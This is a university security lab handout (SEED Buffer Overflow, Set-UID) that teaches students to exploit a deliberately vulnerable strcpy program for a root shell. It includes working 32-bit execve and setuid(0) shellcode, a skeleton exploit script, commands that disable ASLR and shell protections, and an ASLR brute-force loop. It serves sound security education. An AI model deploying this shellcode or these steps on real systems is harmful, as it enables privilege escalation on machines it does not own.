

Buffer Overflow Attack Lab (Set-UID Version)

Copyright © 2006 - 2020 by Wenliang Du.

This work is licensed under a Creative Commons Attribution-NonCommercial-ShareAlike 4.0 International License. If you remix, transform, or build upon the material, this copyright notice must be left intact, or reproduced in a way that is reasonable to the medium in which the work is being re-published.

1 Overview

Buffer overflow is defined as the condition in which a program attempts to write data beyond the boundary of a buffer. This vulnerability can be used by a malicious user to alter the flow control of the program, leading to the execution of malicious code. The objective of this lab is for students to gain practical insights into this type of vulnerability, and learn how to exploit the vulnerability in attacks.

In this lab, students will be given a program with a buffer-overflow vulnerability; their task is to develop a scheme to exploit the vulnerability and finally gain the root privilege. In addition to the attacks, students will be guided to walk through several protection schemes that have been implemented in the operating system to counter against buffer-overflow attacks. Students need to evaluate whether the schemes work or not and explain why. This lab covers the following topics:

- Buffer overflow vulnerability and attack
- Stack layout
- Address randomization, non-executable stack, and StackGuard
- Shellcode (32-bit)
- The return-to-libc attack, which aims at defeating the non-executable stack countermeasure, is covered in a separate lab.

Lab environment. This lab has been tested on the SEED Ubuntu 20.04 VM. You can download a pre-built image from the SEED website, and run the SEED VM on your own computer. However, most of the SEED labs can be conducted on the cloud, and you can follow our instruction to create a SEED VM on the cloud.

2 Environment Setup

2.1 Turning Off Countermeasures

Modern operating systems have implemented several security mechanisms to make the buffer-overflow attack difficult. To simplify our attacks, we need to disable them first. Later on, we will enable them and see whether our attack can still be successful or not.

Address Space Randomization. Ubuntu and several other Linux-based systems uses address space randomization to randomize the starting address of heap and stack. This makes guessing the exact addresses difficult; guessing addresses is one of the critical steps of buffer-overflow attacks. This feature can be disabled using the following command:

```
$ sudo sysctl -w kernel.randomize_va_space=0
```

Configuring `/bin/sh`. In the recent versions of Ubuntu OS, the `/bin/sh` symbolic link points to the `/bin/dash` shell. The `dash` program, as well as `bash`, has implemented a security countermeasure that prevents itself from being executed in a Set-UID process. Basically, if they detect that they are executed in a Set-UID process, they will immediately change the effective user ID to the process's real user ID, essentially dropping the privilege.

Since our victim program is a Set-UID program, and our attack relies on running `/bin/sh`, the countermeasure in `/bin/dash` makes our attack more difficult. Therefore, we will link `/bin/sh` to another shell that does not have such a countermeasure (in later tasks, we will show that with a little bit more effort, the countermeasure in `/bin/dash` can be easily defeated). We have installed a shell program called `zsh` in our Ubuntu 20.04 VM. The following command can be used to link `/bin/sh` to `zsh`:

```
$ sudo ln -sf /bin/zsh /bin/sh
```

StackGuard and Non-Executable Stack. These are two additional countermeasures implemented in the system. They can be turned off during the compilation. We will discuss them later when we compile the vulnerable program.

3 Task 1: Getting Familiar with Shellcode

The ultimate goal of buffer-overflow attacks is to inject malicious code into the target program, so the code can be executed using the target program's privilege. Shellcode is widely used in most code-injection attacks. Let us get familiar with it in this task.

3.1 The C Version of Shellcode

A shellcode is basically a piece of code that launches a shell. If we use C code to implement it, it will look like the following:

```
#include <stdio.h>

int main() {
    char *name[2];

    name[0] = "/bin/sh";
    name[1] = NULL;
    execve(name[0], name, NULL);
}
```

Unfortunately, we cannot just compile this code and use the binary code as our shellcode because `strcpy` would stop when encountering the first null byte. The best way to write a shellcode is to use assembly code. In this lab, we only provide the binary version of a shellcode, without explaining how it works (it is non-trivial). If you are interested in how exactly shellcode works and you want to write a shellcode from scratch, you can learn that from a separate SEED lab called *Shellcode Lab*.

3.2 32-bit Shellcode

```
; Store the command on stack
xor  eax, eax
```

```

push eax
push "//sh"
push "/bin"
mov ebx, esp      ; ebx --> "/bin//sh": execve()'s 1st argument

; Construct the argument array argv[]
push eax          ; argv[1] = 0
push ebx          ; argv[0] --> "/bin//sh"
mov ecx, esp      ; ecx --> argv[]: execve()'s 2nd argument

; For environment variable
xor edx, edx      ; edx = 0: execve()'s 3rd argument

; Invoke execve()
xor eax, eax      ;
mov al, 0x0b      ; execve()'s system call number
int 0x80

```

The shellcode above basically invokes the `execve()` system call to execute `/bin/sh`. In a separate SEED lab, the Shellcode lab, we guide students to write shellcode from scratch. Here we only give a very brief explanation.

- The third instruction pushes `//sh`, rather than `/sh` into the stack. This is because we need a 32-bit number here, and `/sh` has only 24 bits. Fortunately, `//` is equivalent to `/`, so we can get away with a double slash symbol.
- We need to pass three arguments to `execve()` via the `ebx`, `ecx` and `edx` registers, respectively. The majority of the shellcode basically constructs the content for these three arguments.
- The system call `execve()` is called when we set `al` to `0x0b`, and execute `"int 0x80"`.

3.3 Task: Invoking the Shellcode

We have generated the binary code from the assembly code above, and put the code in a C program called `call_shellcode.c` inside the `shellcode` folder. If you would like to learn how to generate the binary code yourself, you should work on the Shellcode lab. In this task, we will test the shellcode.

Listing 1: `call_shellcode.c`

```

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

const char shellcode[] =
    "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f"
    "\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31"
    "\xd2\x31\xc0\xb0\x0b\xcd\x80"
;

int main(int argc, char **argv)
{
    char code[500];

    strcpy(code, shellcode); // Copy the shellcode to the stack

```

```
int (*func)() = (int(*)())code;
func();          // Invoke the shellcode from the stack
return 1;
}
```

The code above includes the 32-bit shellcode. Using the provided `Makefile`, you can compile the code by typing `make`. A binary will be created as `a32.out` (32-bit). Run it and describe your observations. It should be noted that the compilation uses the `execstack` option, which allows code to be executed from the stack; without this option, the program will fail.

4 Task 2: Understanding the Vulnerable Program

The vulnerable program used in this lab is called `stack.c`, which is in the `code` folder. This program has a buffer-overflow vulnerability, and your job is to exploit this vulnerability and gain the root privilege. The code listed below has some non-essential information removed, so it is slightly different from what you get from the lab setup file.

Listing 2: The vulnerable program (`stack.c`)

```
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

/* Changing this size will change the layout of the stack. */
#ifndef BUF_SIZE
#define BUF_SIZE 100
#endif

int bof(char *str)
{
    char buffer[BUF_SIZE];

    /* The following statement has a buffer overflow problem */
    strcpy(buffer, str);

    return 1;
}

int main(int argc, char **argv)
{
    char str[517];
    FILE *badfile;

    badfile = fopen("badfile", "r");
    fread(str, sizeof(char), 517, badfile);
    bof(str);
    printf("Returned Properly\n");
    return 1;
}
```

The above program has a buffer overflow vulnerability. It first reads an input from a file called `badfile`, and then passes this input to another buffer in the function `bof()`. The original input can have a maximum

length of 517 bytes, but the buffer in `bof()` is only `BUF_SIZE` bytes long, which is less than 517. Because `strcpy()` does not check boundaries, buffer overflow will occur. Since this program is a root-owned Set-UID program, if a normal user can exploit this buffer overflow vulnerability, the user might be able to get a root shell. It should be noted that the program gets its input from a file called `badfile`. This file is under users' control. Now, our objective is to create the contents for `badfile`, such that when the vulnerable program copies the contents into its buffer, a root shell can be spawned.

Compilation. To compile the above vulnerable program, do not forget to turn off the StackGuard and the non-executable stack protections using the `-fno-stack-protector` and `"-z execstack"` options. After the compilation, we need to make the program a root-owned Set-UID program. We can achieve this by first change the ownership of the program to `root` (Line ①), and then change the permission to 4755 to enable the Set-UID bit (Line ②). It should be noted that changing ownership must be done before turning on the Set-UID bit, because ownership change will cause the Set-UID bit to be turned off.

```
$ gcc -DBUF_SIZE=100 -m32 -o stack -z execstack -fno-stack-protector stack.c
$ sudo chown root stack          ①
$ sudo chmod 4755 stack          ②
```

The compilation and setup commands are already included in `Makefile`, so we just need to type `make` to execute those commands. The variables `L1`, ..., `L4` are set in `Makefile`; they will be used during the compilation. If the instructor has chosen a different set of values for these variables, you need to change them in `Makefile`.

In `Makefile`, the `BUF_SIZE` value is set by four variables `L1`, ..., `L4`.

- `L1`: pick 400
- `L2`: pick 200

5 Task 3: Launching Attack on 32-bit Program (Level 1)

5.1 Investigation

To exploit the buffer-overflow vulnerability in the target program, the most important thing to know is the distance between the buffer's starting position and the place where the return-address is stored. We will use a debugging method to find it out. Since we have the source code of the target program, we can compile it with the debugging flag turned on. That will make it more convenient to debug.

We will add the `-g` flag to `gcc` command, so debugging information is added to the binary. If you run `make`, the debugging version is already created. We will use `gdb` to debug `stack-L1-dbg`. We need to create a file called `badfile` before running the program.

```
$ touch badfile          ← Create an empty badfile
$ gdb stack-L1-dbg
gdb-peda$ b bof          ← Set a break point at function bof()
Breakpoint 1 at 0x124d: file stack.c, line 18.
gdb-peda$ run            ← Start executing the program
...
Breakpoint 1, bof (str=0xffffcf57 ...) at stack.c:18
18 {
gdb-peda$ next           ← See the note below
...
22     strcpy(buffer, str);
```

```

gdb-peda$ p $ebp      ← Get the ebp value
$1 = (void *) 0xffffdfd8
gdb-peda$ p &buffer   ← Get the buffer's address
$2 = (char (*)[100]) 0xffffdfac
gdb-peda$ quit        ← exit

```

Note 1. When `gdb` stops inside the `bof()` function, it stops before the `ebp` register is set to point to the current stack frame, so if we print out the value of `ebp` here, we will get the caller's `ebp` value. We need to use `next` to execute a few instructions and stop after the `ebp` register is modified to point to the stack frame of the `bof()` function.

Note 2. It should be noted that the frame pointer value obtained from `gdb` is different from that during the actual execution (without using `gdb`). This is because `gdb` has pushed some environment data into the stack before running the debugged program. When the program runs directly without using `gdb`, the stack does not have those data, so the actual frame pointer value will be larger. You should keep this in mind when constructing your payload.

5.2 Launching Attacks

To exploit the buffer-overflow vulnerability in the target program, we need to prepare a payload, and save it inside `badfile`. We will use a Python program to do that. We provide a skeleton program called `exploit.py`, which is included in the lab setup file. The code is incomplete, and students need to replace some of the essential values in the code.

Listing 3: `exploit.py`

```

#!/usr/bin/python3
import sys

shellcode= (
    ""                # ☆ Need to change ☆
).encode('latin-1')

# Fill the content with NOP's
content = bytearray(0x90 for i in range(517))

#####
# Put the shellcode somewhere in the payload
start = 0                # ☆ Need to change ☆
content[start:start + len(shellcode)] = shellcode

# Decide the return address value
# and put it somewhere in the payload
ret     = 0x00            # ☆ Need to change ☆
offset = 0                # ☆ Need to change ☆

L = 4                    # Use 4 for 32-bit address
content[offset:offset + L] = (ret).to_bytes(L,byteorder='little')
#####

# Write the content to a file

```

```
with open('badfile', 'wb') as f:
    f.write(content)
```

After you finish the above program, run it. This will generate the contents for `badfile`. Then run the vulnerable program `stack`. If your exploit is implemented correctly, you should be able to get a root shell:

```
$/exploit.py      // create the badfile
$/stack-L1        // launch the attack by running the vulnerable program
# <---- Bingo! You've got a root shell!
```

you need to explain how the values used in your `exploit.py` are decided. These values are the most important part of the attack.

6 Task 4: Launching Attack without Knowing Buffer Size (Level 2)

In the Level-1 attack, using `gdb`, we get to know the size of the buffer. In the real world, this piece of information may be hard to get. For example, if the target is a server program running on a remote machine, we will not be able to get a copy of the binary or source code. In this task, we are going to add a constraint: you can still use `gdb`, but you are not allowed to derive the buffer size from your investigation. Actually, the buffer size is provided in `Makefile`, but you are not allowed to use that information in your attack.

Your task is to get the vulnerable program to run your shellcode under this constraint. We assume that you do know the range of the buffer size, which is from 100 to 200 bytes. Another fact that may be useful to you is that, due to the memory alignment, the value stored in the frame pointer is always multiple of four (for 32-bit programs).

Please note you are only allowed to construct one payload that works for any buffer size within this range. You will not get all the credits if you use the brute-force method, i.e., trying one buffer size each time. The more you try, the easier it will be detected and defeated by the victim. That's why minimizing the number of trials is important for attacks.

7 Tasks 5: Defeating `dash`'s Countermeasure

The `dash` shell in the Ubuntu OS drops privileges when it detects that the effective UID does not equal to the real UID (which is the case in a Set-UID program). This is achieved by changing the effective UID back to the real UID, essentially, dropping the privilege. In the previous tasks, we let `/bin/sh` points to another shell called `zsh`, which does not have such a countermeasure. In this task, we will change it back, and see how we can defeat the countermeasure. Please do the following, so `/bin/sh` points back to `/bin/dash`.

```
$ sudo ln -sf /bin/dash /bin/sh
```

To defeat the countermeasure in buffer-overflow attacks, all we need to do is to change the real UID, so it equals the effective UID. When a root-owned Set-UID program runs, the effective UID is zero, so before we invoke the shell program, we just need to change the real UID to zero. We can achieve this by invoking `setuid(0)` before executing `execve()` in the shellcode.

The following assembly code shows how to invoke `setuid(0)`. The binary code is already put inside `call_shellcode.c`. You just need to add it to the beginning of the shellcode.

```
; Invoke setuid(0): 32-bit
xor ebx, ebx      ; ebx = 0: setuid()'s argument
```

```
xor eax, eax
mov al, 0xd5      ; setuid()'s system call number
int 0x80
```

Experiment. Compile `call_shellcode.c` into root-owned binary (by typing `"make setuid"`). Run the shellcode `a32.out` with or without the `setuid(0)` system call. Please describe and explain your observations.

Launching the attack again. Now, using the updated shellcode, we can attempt the attack again on the vulnerable program, and this time, with the shell's countermeasure turned on. Repeat your attack on Level 1, and see whether you can get the root shell. After getting the root shell, please run the following command to prove that the countermeasure is turned on. Although repeating the attacks on Levels 2 and 3 are not required, feel free to do that and see whether they work or not.

```
# ls -l /bin/sh /bin/zsh /bin/dash
```

8 Task 6: Defeating Address Randomization

On 32-bit Linux machines, stacks only have 19 bits of entropy, which means the stack base address can have $2^{19} = 524,288$ possibilities. This number is not that high and can be exhausted easily with the brute-force approach. In this task, we use such an approach to defeat the address randomization countermeasure on our 32-bit VM. First, we turn on the Ubuntu's address randomization using the following command. Then we run the same attack against `stack-L1`. Please describe and explain your observation.

```
$ sudo /sbin/sysctl -w kernel.randomize_va_space=2
```

We then use the brute-force approach to attack the vulnerable program repeatedly, hoping that the address we put in the `badfile` can eventually be correct. We will only try this on `stack-L1`, which is a 32-bit program. You can use the following shell script to run the vulnerable program in an infinite loop. If your attack succeeds, the script will stop; otherwise, it will keep running. Please be patient, as this may take a few minutes, but if you are very unlucky, it may take longer. Please describe your observation.

```
#!/bin/bash

SECONDS=0
value=0

while true; do
    value=$(( $value + 1 ))
    duration=$SECONDS
    min=$(( $duration / 60 ))
    sec=$(( $duration % 60 ))
    echo "$min minutes and $sec seconds elapsed."
    echo "The program has been running $value times so far."
    ./stack-L1
done
```


9 Task 7: Experimenting with Other Countermeasures

9.1 Task 7.a: Turn on the StackGuard Protection

Many compiler, such as `gcc`, implements a security mechanism called *StackGuard* to prevent buffer overflows. In the presence of this protection, buffer overflow attacks will not work. In our previous tasks, we disabled the StackGuard protection mechanism when compiling the programs. In this task, we will turn it on and see what will happen.

First, repeat the Level-1 attack with the StackGuard off, and make sure that the attack is still successful. Remember to turn off the address randomization, because you have turned it on in the previous task. Then, we turn on the StackGuard protection by recompiling the vulnerable `stack.c` program without the `-fno-stack-protector` flag. In `gcc` version 4.3.3 and above, StackGuard is enabled by default. Launch the attack and explain your observations.

9.2 Task 7.b: Turn on the Non-executable Stack Protection

Operating systems used to allow executable stacks, but this has now changed: In Ubuntu OS, the binary images of programs (and shared libraries) must declare whether they require executable stacks or not, i.e., they need to mark a field in the program header. Kernel or dynamic linker uses this marking to decide whether to make the stack of this running program executable or non-executable. This marking is done automatically by the `gcc`, which by default makes stack non-executable. We can specifically make it non-executable using the `"-z noexecstack"` flag in the compilation. In our previous tasks, we used `"-z execstack"` to make stacks executable.

In this task, we will make the stack non-executable. We will do this experiment in the `shellcode` folder. The `call_shellcode` program puts a copy of shellcode on the stack, and then executes the code from the stack. Please recompile `call_shellcode.c` into `a32.out`, without the `"-z execstack"` option. Run them, describe and explain your observations.

Defeating the non-executable stack countermeasure. It should be noted that non-executable stack only makes it impossible to run shellcode on the stack, but it does not prevent buffer-overflow attacks, because there are other ways to run malicious code after exploiting a buffer-overflow vulnerability. The *return-to-libc* attack is an example. We have designed a separate lab for that attack. If you are interested, please see our Return-to-Libc Attack Lab for details.